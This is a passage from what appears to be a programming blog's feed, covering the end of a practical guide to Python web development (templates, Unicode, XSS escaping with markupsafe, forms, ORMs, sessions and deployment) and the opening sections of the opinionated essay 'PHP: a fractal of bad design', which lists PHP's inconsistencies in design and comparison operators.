  <li><code>request.is_xhr</code> returns whether the <code>X-Requested-With: XMLHttpRequest</code> header is present, to identify ajax requests from libraries like jQuery that set it.</li>
</ul>

<p>Request objects tend to be pretty thoroughly documented, so just have a flip through the docs of your chosen framework and pick out the important stuff.</p>

<p>When your app is done doing whatever cool thing it does, you send back a response.  You usually have the option of either explicitly constructing a <code>Response</code> object (including HTTP headers and other manual fiddling) or just returning a chunk of HTML and using the defaults for everything else.  You very rarely need to create a response yourself; for common cases like returning JSON, every framework has some shortcut or helper decorator.</p>

<h2 id="templates">Templates</h2>

<p>Assembling HTML tends to be done with a template engine.  The two major contenders are <a href="http://www.makotemplates.org/">Mako</a> and <a href="http://jinja.pocoo.org/">Jinja2</a>.</p>

<p>I really like Mako.  Really, really, really.  Go use it.  It uses unadorned Python for its syntax, and manages to do so in a very natural way.  You can even write blocks of pure Python within templates, though of course you should exercise restraint and do this as little as possible.  :)</p>

<p>Jinja2 is <em>okay</em>, with a gruff caveat: <code>foo.bar</code> is treated as <code>foo['bar']</code> if <code>foo</code> looks like a dict and vice versa.  I happen to think this is a really bad idea, and have been bitten by numerous subtle problems it causes in multiple template systems with the same “feature”.  (Also, the <code>{% %}</code> syntax is really noisy, but that’s splitting hairs.)  That aside, Jinja2 is a plenty solid library and you could definitely do worse.  <a href="http://www.cheetahtemplate.org/">Much, much worse.</a></p>

<p>Both of these tools are pretty speedy, automatically compile to Python modules behind the scenes, have excellent debugging (with crazy hacks to get stack traces from your original template source), and should be plenty powerful enough to do whatever you want.  Have a glance over both, pick one, and get going.  If you don’t know or care which to use, use Mako.</p>

<p>(Note that while Flask uses Jinja2 by default, it’s <a href="https://github.com/tzellman/flask-mako">fairly easy</a> to use Mako instead.)</p>

<p>There are some other contenders, of course: the third-place winner is probably Genshi, but it’s so incredibly convoluted that the <a href="http://genshi.edgewall.org/">homepage</a> starts off with a flow diagram; Django has its own template engine that tries very hard to keep logic out of your templates (imo to its detriment); Bottle likewise has its own drop-dead-simple templates that will probably cause growing pains pretty quickly; Pyramid’s other builtin template engine is Chameleon, which uses HTML-ish attributes for loops and other logic, and that’s fucking batty.</p>

<p>Maybe you’ll like one of these; I haven’t used them non-trivially myself.</p>

<p>Whatever you do, do not use Cheetah.  <strong>DO NOT</strong> use Cheetah.  It is an unholy abomination.  Let’s not speak of it further.</p>

<h3 id="logic-in-templates">Logic in templates</h3>

<p>Perhaps you haven’t used templates before.  If so, you’ll inevitably run into the question of whether some complex rendering code should live in Python or live in your template.</p>

<p>This is an old and silly argument, but I will say this: like many architectural decisions in programming, it comes down to minimizing how much you’ll hate yourself for it later.  Keep complexity out of your templates if you can, but don’t jump through hoops to avoid it if you can’t.  Remember that you can always just write plain Python functions in plain Python modules and import them.  A powerful template language might even have a creative solution to your problem built in; glance over the docs again while you’re thinking.</p>

<h3 id="unicode">Unicode</h3>

<p>Unicode sucks.  This is a universal truth.  (I’m lying.  Dealing with <em>encodings</em> sucks.  Unicode is great.  It’s complicated.  I’ll write about it later.)</p>

<p>Python (2) has two “string” types: <code>str</code> and <code>unicode</code>.  There’s a clever lie here, and that is: a <code>str</code> isn’t really a string.  It’s just a series of bytes.  Sometimes that happens to <em>look</em> like a string, but it’s really just a binary representation, the same way <code>85 00 00 00</code> is a common binary representation of the number 133.  A <em>real</em> number is an <code>int</code>, and a <em>real</em> string is a <code>unicode</code>.</p>

<p>The issue is complicated enough to deserve its own article (which I will totally write sooner or later), but some quick notes:</p>

<ul>
  <li>Your program should only worry about real strings (that is, <code>unicode</code>s) internally.  You have to decode strings that come into your program and encode ones that leave, but luckily, most web frameworks will do that for you.</li>
  <li>You can use the <code>u</code> prefix on a literal string to make it a <code>unicode</code>, e.g., <code>u'foo'</code>.</li>
  <li>You can use <code>from __future__ import unicode_literals</code> at the top of a file to make <em>all</em> literal strings within that file be <code>unicode</code> by default.  If you really really want a <code>str</code>, use a <code>b</code> prefix.</li>
  <li>If you want to use non-ASCII characters in Python source code, add an <code>#encoding: utf8</code> magic comment to the top.  (Assuming of course that your source code is saved as UTF-8, which it had damn well better be.)</li>
  <li><strong>NEVER</strong> solve a Unicode problem by stripping out non-ASCII characters!  That’s incredibly rude to a huge number of people; just imagine how you’d feel trying to use a website that decided you weren’t allowed to use English letters, because some programmer was too lazy to figure out how to handle them.</li>
  <li>In fact, accented letters and Asian characters are great for shaking out encoding problems.  Paste some non-ASCII gibberish into forms on your site and see what happens.</li>
</ul>

<h3 id="xss">XSS</h3>

<p>Virtually everything nowadays has some form of automatic HTML escaping filter built in.  The idea is that a template like this:</p>

<pre><code>&lt;p&gt;Hello, ${name}!&lt;/p&gt;
</code></pre>

<p>will, when given <code>name = '&lt;b&gt;'</code>, safely print out <code>Hello, &amp;lt;b&amp;gt;!</code>.  This means that, for the most part, you don’t have to worry about XSS.</p>

<p>For the <em>most</em> part.  If nothing else, you <em>must</em> check the docs for your framework and template engine to make sure this is turned on by default, or turn it on if it’s not.  (Off the top of my head: you get it for free with Pyramid, Django, and Flask.  Bottle does it automatically if your template file has an HTML-sounding extension.)</p>

<p>The tricky bit, then, is knowing when and how to turn it <em>off</em>.  If you construct some complex HTML in Python code, you don’t want it all escaped when sticking it in your template.  Merely disabling the escaping behavior is a crappy solution, though; anywhere you do it is a potential source of injection.  Luckily, many frameworks (Pyramid and Flask, at least) use the <a href="http://pypi.python.org/pypi/MarkupSafe">markupsafe</a> library, which cleverly helps avoid this problem.</p>

<p>markupsafe provides a single class, <code>Markup</code>, which inherits from <code>unicode</code>.  <code>Markup(u'Hello!')</code> will produce an object that acts pretty much like a string.  The classmethod <code>Markup.escape</code> works the same way, but it escapes any HTML characters in the wrapped string.</p>

<p>There are two sneaky tricks here.  The first is that a <code>Markup</code> object will never be escaped a second time.  Observe:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="s">u&#39;&lt;b&gt;oh noo xss&lt;/b&gt;&#39;</span>
</span><span class="line"><span class="o">&gt;&gt;&gt;</span> <span class="n">Markup</span><span class="o">.</span><span class="n">escape</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
</span><span class="line"><span class="n">Markup</span><span class="p">(</span><span class="s">u&#39;&amp;lt;b&amp;gt;oh noo xss&amp;lt;/b&amp;gt;&#39;</span><span class="p">)</span>
</span><span class="line"><span class="o">&gt;&gt;&gt;</span> <span class="n">Markup</span><span class="o">.</span><span class="n">escape</span><span class="p">(</span><span class="n">Markup</span><span class="o">.</span><span class="n">escape</span><span class="p">(</span><span class="n">s</span><span class="p">))</span>
</span><span class="line"><span class="n">Markup</span><span class="p">(</span><span class="s">u&#39;&amp;lt;b&amp;gt;oh noo xss&amp;lt;/b&amp;gt;&#39;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>So once you’ve created a <code>Markup</code>, you can feed it to your template, and the filter will leave it alone—even if it contains HTML.</p>

<p>The other trick is that <code>Markup</code> overrides <em>every string method</em> and automatically escapes all the arguments.  That means you can do stuff like this in Python land:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="o">&gt;&gt;&gt;</span> <span class="n">user_input</span> <span class="o">=</span> <span class="s">u&#39;&lt;script&gt;alert(&quot;pwn&quot;);&lt;/script&gt;&#39;</span>
</span><span class="line"><span class="o">&gt;&gt;&gt;</span> <span class="n">Markup</span><span class="p">(</span><span class="s">u&#39;&lt;p&gt;Hello, </span><span class="si">%s</span><span class="s">!&lt;/p&gt;&#39;</span><span class="p">)</span> <span class="o">%</span> <span class="n">user_input</span>
</span><span class="line"><span class="n">Markup</span><span class="p">(</span><span class="s">u&#39;&lt;p&gt;Hello, &amp;lt;script&amp;gt;alert(&amp;#34;pwn&amp;#34;);&amp;lt;/script&amp;gt;!&lt;/p&gt;&#39;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>You can thus build complex HTML fairly safely, without worrying too much about underescaping or overescaping.</p>

<p>It’s not perfect, of course; the primary gotcha is that you need to use <code>Markup().join(...)</code> on a sequence of other <code>Markup</code> objects, not <code>''.join(...)</code>.  And some operations like slicing, splitting, and regexes are likely to produce nonsensical results.  <strong>Never</strong> try to decompose a <code>Markup</code> object or any other string of HTML; if you absolutely must, use a real parser like <code>lxml</code>, but in most cases you can do whatever transformation you need on a plain string before wrapping it in HTML.</p>

<h2 id="forms">Forms</h2>

<p>I hate all form handling libraries.  Every single one.  They all enforce the author’s crazy naming scheme on my forms.  I don’t even like the PHP behavior of using <code>foo[]</code> as a field name; that’s just so astoundingly ugly.</p>

<p>The one I hate the least so far is <a href="http://wtforms.simplecodes.com/docs/dev/">wtforms</a>; it enforces fairly few design constraints and is pretty simple to use.  It even has built-in support for working with markupsafe.  The major downsides are that it’s difficult to remove those few design constraints (every form element gets an <code>id</code> attribute matching its name—<em>argh!</em>), and implementing a new kind of field can be a little complex.</p>

<p>I can’t speak much to any others, alas.  <a href="http://www.formencode.org/en/latest/index.html">FormEncode</a> is a thing.  Pyramid’s maintainers also own <a href="http://docs.pylonsproject.org/projects/deform/en/latest/index.html">deform</a>.  They both do some dumb thing that bothers me for really nitpicky reasons.  Shop around.</p>

<p>Whatever you do, just make sure you use <em>something</em> before your project grows too big.  The one thing I hate more than form handling libraries is writing validation code by hand.  :)</p>

<h3 id="sanitizing">“Sanitizing”</h3>

<p>A note on a common trend in PHP land.</p>

<p><strong>Do not</strong> “sanitize”.</p>

<p>The word itself makes no sense.  There is no process by which you can take an arbitrary string and make it “safe”.  This kind of thinking is why I keep running into bank websites with contact forms that tell me I can’t use the <code>&lt;</code> character; some numbskull enterprise developer doesn’t have a clue how to deal with data, so he just enforces that all data must be idiot-proof.</p>

<p>Don’t be an idiot.</p>

<p>Most of the time, “sanitizing” is referring to making user input “safe” to embed in HTML, pass to SQL, or use as a command-like argument.  You can do all of these things without changing the original data at <em>all</em>.  For HTML, there are filters like markupsafe, mentioned above.  For SQL, there are bound parameters and ORMs.  For running commands, you should avoid the shell entirely and just pass the arguments as a list (see <a href="http://docs.python.org/library/subprocess.html"><code>subprocess</code></a>).</p>

<p>These are all problems of language barriers: HTML, SQL, and shell are all structured languages, and you can’t just dump mystery junk into them and hope for the best.  You wouldn’t use string concatenation to create JSON, so don’t do it to run <code>convert</code>.  Use tools that understand the underlying structure.</p>

<p>This isn’t to say that you should never modify or filter user input, but you should avoid it whenever possible, and be damn careful when you do.  For a common example of passwords, why is it so common to prohibit spaces in passwords or limit them to 16 characters?  There’s no clear reason; it’s just a thing that’s done.</p>

<p>I’m still baffled by this one: the same places that cry foul when I try to type a <code>&lt;</code> also insist that I type my credit card number as a solid string of sixteen digits.  That makes it really hard to verify at a glance that I typed it correctly—and besides, the number <em>on my card</em> has spaces in it!  Why not strip spaces and hyphens?</p>

<p>Just think carefully about what you’re doing and what problem you’re trying to solve.  Are people using Unicode right-to-left characters to do dumb things to your site, and you want to stop them?  No reason to force everyone to use ASCII; Unicode has <a href="http://www.fileformat.info/info/unicode/category/index.htm">categories</a>, and you could just filter out characters in the weirder categories.  Better yet, just fix your website so people who speak Hebrew can use it.  :)</p>

<h2 id="debugging">Debugging</h2>

<p>If you’re lucky (i.e., using Pyramid), when your program crashes, you’ll get an interactive debugger that lets you examine the live state of your program.  You can run arbitrary Python code, look at the state of variables, walk the stack, and otherwise screw around.</p>

<p>If you’re unlucky, don’t worry; you can still get this by using the <a href="http://werkzeug.pocoo.org/docs/debug/">werkzeug debugger</a>.  It’s pretty simple to use; it wraps any WSGI application and catches exceptions.  (See?  WSGI is awesome.)</p>

<p>Just make sure you don’t leave debugging on when deploying your app or otherwise sharing it with others; “arbitrary Python code” means anyone seeing the debug screen can do anything to your computer that you can.</p>

<h2 id="databases">Databases</h2>

<p>What a can of worms.  This is as opinionated as I’m going to get.</p>

<p>For one: you should use an ORM.  That’s a thingy that tries valiantly to map database tables to Python classes, rows to objects, and queries to method calls.  The result is more concise, often easier to understand, and sometimes even more correct.</p>

<p>The ORM you should use is <a href="http://www.sqlalchemy.org/">SQLAlchemy</a>.  Pyramid has some builtin support for it; if you’re using a framework that doesn’t, SQLAlchemy is popular enough that the framework documentation assuredly has instructions for wiring it in.  If you’re using Django, it has its own ORM; it’s not as good as SQLAlchemy, but replacing it is more of a bother than it’s worth unless you have a compelling need.</p>

<p>Many detractors will tell you that ORMs generate bad SQL.  Yes, bad ORMs will do this.  Good ORMs, like SQLAlchemy, understand SQL as well as you do.  If you understand SQL, SQLAlchemy will be great for you; if you don’t understand SQL, SQLAlchemy will at least save you some embarrassment by writing bad SQL in your stead.  Remember that you can always look at the queries being run; SQLAlchemy can log them all, and various debug toolbars will show a list with execution times.  (Also keep an eye out for the same query being run many times; that’s a sign you want some eagerloading.)</p>

<p>Next, <em>use transactions</em>.  You hopefully don’t have to think about this too much; if a framework has any SQLAlchemy integration at all, it probably does this for you.  The idea is that a transaction starts when a request starts, and it’s automatically rolled back if there’s an exception.  This is behavior you want <em>from the start</em>!  It’s half (err, ¼) the point of using a database.</p>

<p>One more thing: since this article is all about trying new things based on what I say, <strong>do not use MySQL</strong>.  In every sense I can imagine, MySQL is the PHP of databases.  Give <a href="http://www.postgresql.org/">PostgreSQL</a> a spin; it’s no harder to set up, it’s nicer to use, and it won’t let you do dumb things like store strings in date columns.  (One of the nicest things, imo, is that Postgres can use your Unix user account as a login; no passwords required.)  The only argument anyone ever has against using Postgres is that it “doesn’t scale”; rest assured I’ve yet to see an actual demonstration of that, and either way you can worry about it when you have a million more visitors.</p>

<h2 id="sessions">Sessions</h2>

<p>Every framework has session support.  It’ll look familiar: a session token is stored in a cookie, and on the backend you magically get a dict that you can store arbitrary junk in.  Use this as you will.  Try <em>not</em> to use it as a dumping ground; it turns out databases are pretty good for, y’know, storing data.</p>

<p>Bonus features include first-class support for CSRF protection (Pyramid, Django has a module) and flash messages (Pyramid, Flask, Django).  Go read your docs.</p>

<p>One word of warning: if you’re using Beaker sessions (Pyramid), they tend to accumulate cruft.  By default this is in the form of a file on disk for every session ever, but if you use db-backed sessions, you’ll end up with a massive sessions table that never shrinks.  This is a terrible and non-obvious problem, and the fixes are all basically manual.  Sorry.</p>

<h2 id="deployment">Deployment</h2>

<p>Ah, you got me.  There are a lot of ways to deploy, and they deserve more screen time than I can really devote here.</p>

<p>If possible, be willing to spend money.  Providing a service inherently has a cost.  It’s easiest by far to deploy apps if you just have your own dedicated (virtual or not) machine to play around with—and a server is a cool thing to have on hand anyway.  You can get a basic <a href="http://www.linode.com/?r=c5316aa7d1cfce6f5fe611bb455ef1548cc1946c">Linode</a> for $20/mo., and cheaper providers exist (though are less cool).</p>

<p><a href="http://www.heroku.com/">Heroku</a> is also an option, and <em>does</em> have a free tier of one worker (similar to the lowest-tier Linode), but it’s another $36/mo for every extra worker you add.  (The number of requests you can handle simultaneously is roughly proportional to the number of workers you have.  How many you <em>need</em> depends on your app and how you run it.)  The upside is that deploying your app is pretty much turnkey.  Heroku has a few clones by now, as well.</p>

<p>As they say (do they?), deploying is a good problem to have: it means you’ve actually built something useful, after all.  So go build something while I scramble to write a whole thing about deployment options.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The Web is complex.  There are a lot of moving parts.  Smart people have solved a lot of problems for you.  Go tinker.</p>

<p>I hope this is enough to get you started!</p>

<p>And as always, I don’t know what I’m doing, so please tell me how to do it better.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[PHP: a fractal of bad design]]></title>
    <link href="http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/"/>
    <updated>2012-04-09T19:29:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design</id>
    <content type="html"><![CDATA[<p><em>(This article has been translated into <a href="http://science.webhostinggeeks.com/php-fraktal">Serbo-Croation</a> by <a href="http://webhostinggeeks.com/">Vera Djuraskovic</a>—thanks!)</em></p>

<h2 id="preface">Preface</h2>

<p>I’m cranky.  I complain about a lot of things.  There’s a lot in the world of technology I don’t like, and that’s really to be expected—programming is a hilariously young discipline, and none of us have the slightest clue what we’re doing.  Combine with <a href="http://en.wikipedia.org/wiki/Sturgeon%27s_Law">Sturgeon’s Law</a>, and I have a lifetime’s worth of stuff to gripe about.</p>

<p>This is not the same.  PHP is not merely awkward to use, or ill-suited for what I want, or suboptimal, or against my religion.  I can tell you all manner of good things about languages I avoid, and all manner of bad things about languages I enjoy.  Go on, ask!  It makes for interesting conversation.</p>

<p>PHP is the lone exception.  Virtually every feature in PHP is broken somehow.  The language, the framework, the ecosystem, are all just <strong>bad</strong>.  And I can’t even point out any single damning thing, because the damage is so systemic.  Every time I try to compile a list of PHP gripes, I get stuck in this depth-first search discovering more and more appalling trivia.  (Hence, fractal.)</p>

<p>PHP is an embarrassment, a blight upon my craft.  It’s so broken, but so lauded by every empowered amateur who’s yet to learn anything else, as to be maddening.  It has paltry few redeeming qualities and I would prefer to forget it exists at all.</p>

<p>But I’ve got to get this out of my system.  So here goes, one last try.</p>

<h2 id="an-analogy">An analogy</h2>

<p>I just blurted this out to Mel to explain my frustration and she insisted that I reproduce it here.</p>

<blockquote>
  <p>I can’t even say what’s <em>wrong</em> with PHP, because—  okay.  Imagine you have uh, a toolbox.  A set of tools.  Looks okay, standard stuff in there.</p>

  <p>You pull out a screwdriver, and you see it’s one of those weird tri-headed things.  Okay, well, that’s not very useful to you, but you guess it comes in handy sometimes.</p>

  <p>You pull out the hammer, but to your dismay, it has the claw part on <em>both</em> sides.  Still serviceable though, I mean, you can hit nails with the middle of the head holding it sideways.</p>

  <p>You pull out the pliers, but they don’t have those serrated surfaces; it’s flat and smooth.  That’s less useful, but it still turns bolts well enough, so whatever.</p>

  <p>And on you go.  Everything in the box is kind of weird and quirky, but maybe not enough to make it <em>completely</em> worthless.  And there’s no clear problem with the set as a whole; it still has all the tools.</p>

  <p>Now imagine you meet millions of carpenters using this toolbox who tell you “well hey what’s the problem with these tools?  They’re all I’ve ever used and they work fine!”  And the carpenters show you the houses they’ve built, where every room is a pentagon and the roof is upside-down.  And you knock on the front door and it just collapses inwards and they all yell at you for breaking their door.</p>

  <p>That’s what’s wrong with PHP.</p>
</blockquote>

<!-- more -->

<h2 id="stance">Stance</h2>

<p>I assert that the following qualities are <em>important</em> for making a language productive and useful, and PHP violates them with wild abandon.  If you can’t agree that these are crucial, well, I can’t imagine how we’ll ever agree on much.</p>

<ul>
  <li>A language must be <strong>predictable</strong>.  It’s a medium for expressing human ideas and having a computer execute them, so it’s critical that a human’s understanding of a program actually be correct.</li>
  <li>A language must be <strong>consistent</strong>.  Similar things should look similar, different things different.  Knowing part of the language should aid in learning and understanding the rest.</li>
  <li>A language must be <strong>concise</strong>.  New languages exist to reduce the boilerplate inherent in old languages.  (We <em>could</em> all write machine code.)  A language must thus strive to avoid introducing new boilerplate of its own.</li>
  <li>A language must be <strong>reliable</strong>.  Languages are tools for solving problems; they should minimize any new problems they introduce.  Any “gotchas” are massive distractions.</li>
  <li>A language must be <strong>debuggable</strong>.  When something goes wrong, the programmer <em>has</em> to fix it, and we need all the help we can get.</li>
</ul>

<p>My position is thus:</p>

<ul>
  <li>PHP is full of surprises: <code>mysql_real_escape_string</code>, <code>E_ALL</code></li>
  <li>PHP is inconsistent: <code>strpos</code>, <code>str_rot13</code></li>
  <li>PHP requires boilerplate: error-checking around C API calls, <code>===</code></li>
  <li>PHP is flaky: <code>==</code>, <code>foreach ($foo as &amp;$bar)</code></li>
  <li>PHP is opaque: no stack traces by default or for fatals, complex error reporting</li>
</ul>

<p>I can’t provide a paragraph of commentary for every single issue explaining why it falls into these categories, or this would be endless.  I trust the reader to, like, think.</p>

<h2 id="dont-comment-with-these-things">Don’t comment with these things</h2>

<p>I’ve been in PHP arguments a <em>lot</em>.  I hear a lot of very generic counter-arguments that are really only designed to halt the conversation immediately.  Don’t pull these on me, please.  :(</p>

<ul>
  <li>
    <p>Do not tell me that “good developers can write good code in any language”, or bad developers blah blah.  That doesn’t <em>mean</em> anything.  A good carpenter <em>can</em> drive in a nail with either a rock or a hammer, but how many carpenters do you see bashing stuff with rocks?  Part of what makes a good developer is the ability to <em>choose</em> the tools that work best.</p>
  </li>
  <li>
    <p>Do not tell me that it’s the developer’s responsibility to memorize a thousand strange exceptions and surprising behaviors.  Yes, this is necessary in any system, because computers suck.  That doesn’t mean there’s no upper limit for how much zaniness is acceptable in a system.  PHP is nothing <em>but</em> exceptions, and it is not okay when wrestling the language takes more effort than actually writing your program.  My tools should not create net positive work for me to do.</p>
  </li>
  <li>
    <p>Do not tell me “that’s how the C API works”.  What on Earth is the point of using a high-level language if all it provides are some string helpers and a ton of verbatim C wrappers?  Just write C!  Here, there’s even a <a href="http://www.boutell.com/cgic/">CGI library</a> for it.</p>
  </li>
  <li>
    <p>Do not tell me “that’s what you get for doing weird things”.  If two features exist, someday, someone will find a reason to use them together.  And again, this isn’t C; there’s no spec, there’s no need for “undefined behavior”.</p>
  </li>
  <li>
    <p>Do not tell me that Facebook and Wikipedia are built in PHP.  I’m aware!  They could also be written in Brainfuck, but as long as there are smart enough people wrangling the things, they <em>can</em> overcome problems with the platform.  For all we know, development time could be halved or doubled if these products were written in some other language; this data point alone means nothing.</p>
  </li>
  <li>
    <p>Ideally, don’t tell me anything!  This is my one big shot; if this list doesn’t hurt your opinion of PHP, <em>nothing</em> ever will, so stop arguing with some dude on the Internet and go make a cool website in record time to prove me wrong  :)</p>
  </li>
</ul>

<p>Side observation: I loooove Python.  I will also happily talk your ear off complaining about it, if you really want me to.  I don’t claim it’s <em>perfect</em>; I’ve just weighed its benefits against its problems and concluded it’s the best fit for things I want to do.</p>

<p>And I have never met a PHP developer who can do the same with PHP.  But I’ve bumped into plenty who are quick to apologize for anything and everything PHP does.  That mindset is terrifying.</p>

<h2 id="php">PHP</h2>

<h3 id="core-language">Core language</h3>

<p>CPAN has been called the “standard library of Perl”.  That doesn’t say much about Perl’s standard library, but it makes the point that a solid core can build great things.</p>

<h4 id="philosophy">Philosophy</h4>

<ul>
  <li>
    <p>PHP was originally designed explicitly for non-programmers (and, reading between the lines, non-programs); it has not well escaped its roots.  A choice quote from the <a href="http://www.php.net/manual/phpfi2.php#overload">PHP 2.0 documentation</a>, regarding <code>+</code> and friends doing type conversion:</p>

    <blockquote>
      <p>Once you start having separate operators for each type you start making the language much more complex. ie. you can’t use ‘==’ for stings [sic], you now would use ‘eq’. I don’t see the point, especially for something like PHP where most of the scripts will be rather simple and in most cases written by non-programmers who want a language with a basic logical syntax that doesn’t have too high a learning curve.</p>
    </blockquote>
  </li>
  <li>PHP is built to keep chugging along at all costs.  When faced with either doing something nonsensical or aborting with an error, it will do something nonsensical.  Anything is better than nothing.</li>
  <li>There’s no clear design philosophy.  Early PHP was inspired by Perl; the huge stdlib with “out” params is from C; the OO parts are designed like C++ and Java.</li>
  <li>PHP takes vast amounts of inspiration from other languages, yet still manages to be incomprehensible to anyone who <em>knows</em> those languages.  <code>(int)</code> looks like C, but <code>int</code> doesn’t exist.  Namespaces use <code>\</code>.  The new array syntax results in <code>[key =&gt; value]</code>, unique among every language with hash literals.</li>
  <li>Weak typing (i.e., silent automatic conversion between strings/numbers/et al) is so complex that whatever minor programmer effort is saved is by no means worth it.</li>
  <li>Little new functionality is implemented as new syntax; most of it is done with functions or things that look like functions.  Except for class support, which deserved a slew of new operators and keywords.</li>
  <li>Some of the problems listed on this page do have first-party solutions—if you’re willing to pay Zend for fixes to their open-source programming language.</li>
  <li>
    <p>There is a whole lot of action at a distance.  Consider this code, taken from the PHP docs somewhere.</p>

    <pre><code>  @fopen('http://example.com/not-existing-file', 'r');
</code></pre>

    <p>What will it do?</p>

    <ul>
      <li>If PHP was compiled with <code>--disable-url-fopen-wrapper</code>, it won’t work.  (Docs don’t say what “won’t work” means; returns null, throws exception?)  Note that this flag was removed in PHP 5.2.5.</li>
      <li>If <code>allow_url_fopen</code> is disabled in php.ini, this still won’t work.  (How?  No idea.)</li>
      <li>Because of the <code>@</code>, the warning about the non-existent file won’t be printed.</li>
      <li>But it will be printed if <code>scream.enabled</code> is set in php.ini.</li>
      <li>Or if <code>scream.enabled</code> is set manually with <code>ini_set</code>.</li>
      <li>But not if the right <code>error_reporting</code> level isn’t set.</li>
      <li>If it <em>is</em> printed, exactly where it goes depends on <code>display_errors</code>, again in php.ini.  Or <code>ini_set</code>.</li>
    </ul>

    <p>I can’t tell how this innocuous function call will behave without consulting compile-time flags, server-wide configuration, and configuration done in my program.  And this is all <em>built in</em> behavior.</p>
  </li>
  <li>The language is full of global and implicit state.  <code>mbstring</code> uses a global character set.  <code>func_get_arg</code> and friends look like regular functions, but operate on the currently-executing function.  Error/exception handling have global defaults.  <code>register_tick_function</code> sets a global function to run every tick—what?!</li>
  <li>There is no threading support whatsoever.  (Not surprising, given the above.)  Combined with the lack of built-in <code>fork</code> (mentioned below), this makes parallel programming extremely difficult.</li>
  <li>Parts of PHP are practically <em>designed</em> to produce buggy code.
    <ul>
      <li><code>json_decode</code> returns null for invalid input, even though null is also a perfectly valid object for JSON to decode to—this function is <em>completely unreliable</em> unless you also call <code>json_last_error</code> every time you use it.</li>
      <li><code>array_search</code>, <code>strpos</code>, and similar functions return <code>0</code> if they find the needle at position zero, but false if they don’t find it at all.</li>
    </ul>

    <p>Let me expand on that last part a bit.</p>

    <p>In C, functions like <code>strpos</code> return <code>-1</code> if the item isn’t found.  If you don’t check for that case and try to use that as an index, you’ll hit junk memory and your program will blow up.  (Probably.  It’s C.  Who the fuck knows.  I’m sure there are tools for this, at least.)</p>

    <p>In, say, Python, the equivalent <code>.index</code> methods will raise an exception if the item isn’t found.  If you don’t check for that case, your program will blow up.</p>

    <p>In PHP, these functions return false.  If you use <code>FALSE</code> as an index, or do much of anything with it except compare with <code>===</code>, PHP will silently convert it to <code>0</code> for you.  Your program will not blow up; it will, instead, do the <em>wrong thing</em> with <em>no warning</em>, unless you remember to include the right boilerplate around every place you use <code>strpos</code> and certain other functions.</p>

    <p>This is bad!  Programming languages are tools; they’re supposed to work <em>with</em> me.  Here, PHP has actively created a subtle trap for me to fall into, and I have to be vigilant even with such mundane things as string operations and equality comparison.  PHP is a <em>minefield</em>.</p>
  </li>
</ul>

<p>I have heard a great many stories about the PHP interpreter and <a href="http://en.wikiquote.org/wiki/Rasmus_Lerdorf">its developers</a> from a great many places.  These are from people who have worked on the <a href="http://www.reddit.com/r/lolphp/comments/qeq7k/php_540_ships_with_82_failing_tests_in_the_suite/">PHP core</a>, <a href="http://perlbuzz.com/2008/09/optimizing-for-the-developer-not-the-user-php-misses-again.html">debugged PHP</a> core, interacted with core developers.  Not a single tale has been a compliment.</p>

<p>So I have to fit this in here, because it bears repeating: PHP is a community of amateurs.  Very few people designing it, working on it, or writing code in it seem to know what they’re doing.  (Oh, dear reader, <em>you</em> are of course a rare exception!)  Those who <em>do</em> grow a clue tend to drift away to other platforms, reducing the average competence of the whole.  This, right here, is the biggest problem with PHP: it is absolutely the blind leading the blind.</p>

<p>Okay, back to facts.</p>

<h4 id="operators">Operators</h4>

<ul>
  <li><code>==</code> is <a href="http://habnab.it/php-table.html">useless</a>.
    <ul>
      <li>It’s not transitive.  <code>"foo" == TRUE</code>, and <code>"foo" == 0</code>…  but, of course, <code>TRUE != 0</code>.</li>
      <li><code>==</code> converts to numbers when possible (<code>123 == "123foo"</code>…  although <code>"123" != "123foo"</code>), which means it converts to floats when possible.  So large hex strings (like, say, password hashes) may occasionally <a href="http://phpsadness.com/sad/47">compare true when they’re not</a>.  Even JavaScript doesn’t do this.</li>
      <li>For the same reason, <code>"6" == " 6"</code>, <code>"4.2" == "4.20"</code>, and <code>"133" == "0133"</code>.  But note that <code>133 != 0133</code>, because <code>0133</code> is octal.  <em>But</em> <code>"0x10" == "16"</code> and <code>"1e3" == "1000"</code>!</li>
      <li><code>===</code> compares values and type…  except with objects, where <code>===</code> is only true if both operands are actually the same object!  For objects, <code>==</code> compares both value (of every attribute) and type, which is what <code>===</code> does for every other type.  <a href="http://developers.slashdot.org/comments.pl?sid=204433&amp;cid=16703529">What.</a></li>
    </ul>
  </li>
  <li>Comparison isn’t much better.
    <ul>
      <li>It’s not even consistent: <code>NULL &lt; -1</code>, <em>and</em> <code>NULL == 0</code>.  Sorting is thus nondeterministic; it depends on the order in which the sort algorithm happens to compare elements.</li>
      <li>The comparison operators try to sort arrays, two different ways: first by length, then by <em>elements</em>.  If they have the <em>same number</em> of elements but <em>different</em> sets of keys, though, they are uncomparable.</li>
      <li>Objects compare as greater than anything else…  except other objects, which they are neither less than nor greater than.</li>
      <li>For a more type-safe <code>==</code>, we have <code>===</code>.  For a more type-safe <code>&lt;</code>, we have…  nothing.  <code>"123" &lt; "0124"</code>, always, no matter what you do.  Casting doesn’t help, either.</li>
    </ul>
  </li>
  <li>Despite the craziness above, and the explicit rejection of Perl’s pairs of string and numeric operators, PHP does not overload <code>+</code>.  <code>+</code> is always addition, and <code>.</code> is always concatenation.</li>
  <li>The <code>[]</code> indexing operator can also be spelled <code>{}</code>.</li>
  <li><code>[]</code> can be used on any variable, not just strings and arrays.  It returns null and issues no warning.</li>
  <li><code>[]</code> cannot slice; it only retrieves individual elements.</li>
